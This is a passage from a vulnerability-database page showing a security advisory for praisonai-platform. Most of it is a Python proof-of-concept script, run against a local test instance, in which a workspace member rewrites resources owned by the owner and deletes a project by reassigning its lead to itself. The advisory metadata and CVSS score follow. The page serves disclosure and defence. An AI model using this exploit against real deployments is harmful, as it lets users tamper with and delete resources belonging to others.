None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        project_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/projects/\",\n            json={\n                \"title\": \"Owner project\",\n                \"description\": \"Owned by the workspace owner\",\n                \"lead_type\": \"member\",\n                \"lead_id\": owner_id,\n            },\n            headers=owner_headers,\n        )\n        project_resp.raise_for_status()\n        project_id = project_resp.json()[\"id\"]\n\n        direct_delete_project = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n\n        patch_project = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            json={\n                \"title\": \"Member-controlled project\",\n                \"status\": \"active\",\n                \"lead_type\": \"member\",\n                \"lead_id\": member_id,\n            },\n            headers=member_headers,\n        )\n\n        delete_project_after_takeover = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n        owner_get_deleted_project = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=owner_headers,\n        )\n\n        issue_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/\",\n            json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n            headers=owner_headers,\n        )\n        issue_resp.raise_for_status()\n        issue_id = issue_resp.json()[\"id\"]\n\n        patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n            headers=member_headers,\n        )\n        owner_get_issue = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=owner_headers,\n        )\n        delete_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=member_headers,\n        )\n\n        agent_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/agents/\",\n            json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n            headers=owner_headers,\n        )\n        agent_resp.raise_for_status()\n        agent_id = agent_resp.json()[\"id\"]\n\n        patch_agent = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n            headers=member_headers,\n        )\n        owner_get_agent = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=owner_headers,\n        )\n        delete_agent = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=member_headers,\n        )\n\n        outsider_patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"outsider attempt\"},\n            headers=outsider_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n    checks = {\n        \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n        \"member_project_patch_lead_to_self\": patch_project.status_code,\n        \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n        \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n        \"member_issue_patch\": patch_issue.status_code,\n        \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n        \"member_issue_delete_after_patch\": delete_issue.status_code,\n        \"member_agent_patch\": patch_agent.status_code,\n        \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n        \"member_agent_delete_after_patch\": delete_agent.status_code,\n        \"non_member_issue_patch\": outsider_patch_issue.status_code,\n    }\n    vulnerable = (\n        checks[\"member_direct_project_delete_before_patch\"] == 403\n        and checks[\"member_project_patch_lead_to_self\"] == 200\n        and patch_project_body.get(\"lead_id\") == member_id\n        and checks[\"member_project_delete_after_lead_takeover\"] == 204\n        and checks[\"owner_get_project_after_member_delete\"] == 404\n        and checks[\"member_issue_patch\"] == 200\n        and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n        and checks[\"member_issue_delete_after_patch\"] == 403\n        and checks[\"member_agent_patch\"] == 200\n        and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n        and checks[\"member_agent_delete_after_patch\"] == 403\n        and checks[\"non_member_issue_patch\"] == 403\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    import subprocess\n\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-c78w-2q4r-68r7",
  "modified": "2026-10-08T22:01:11Z",
  "published": "2026-10-08T22:01:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.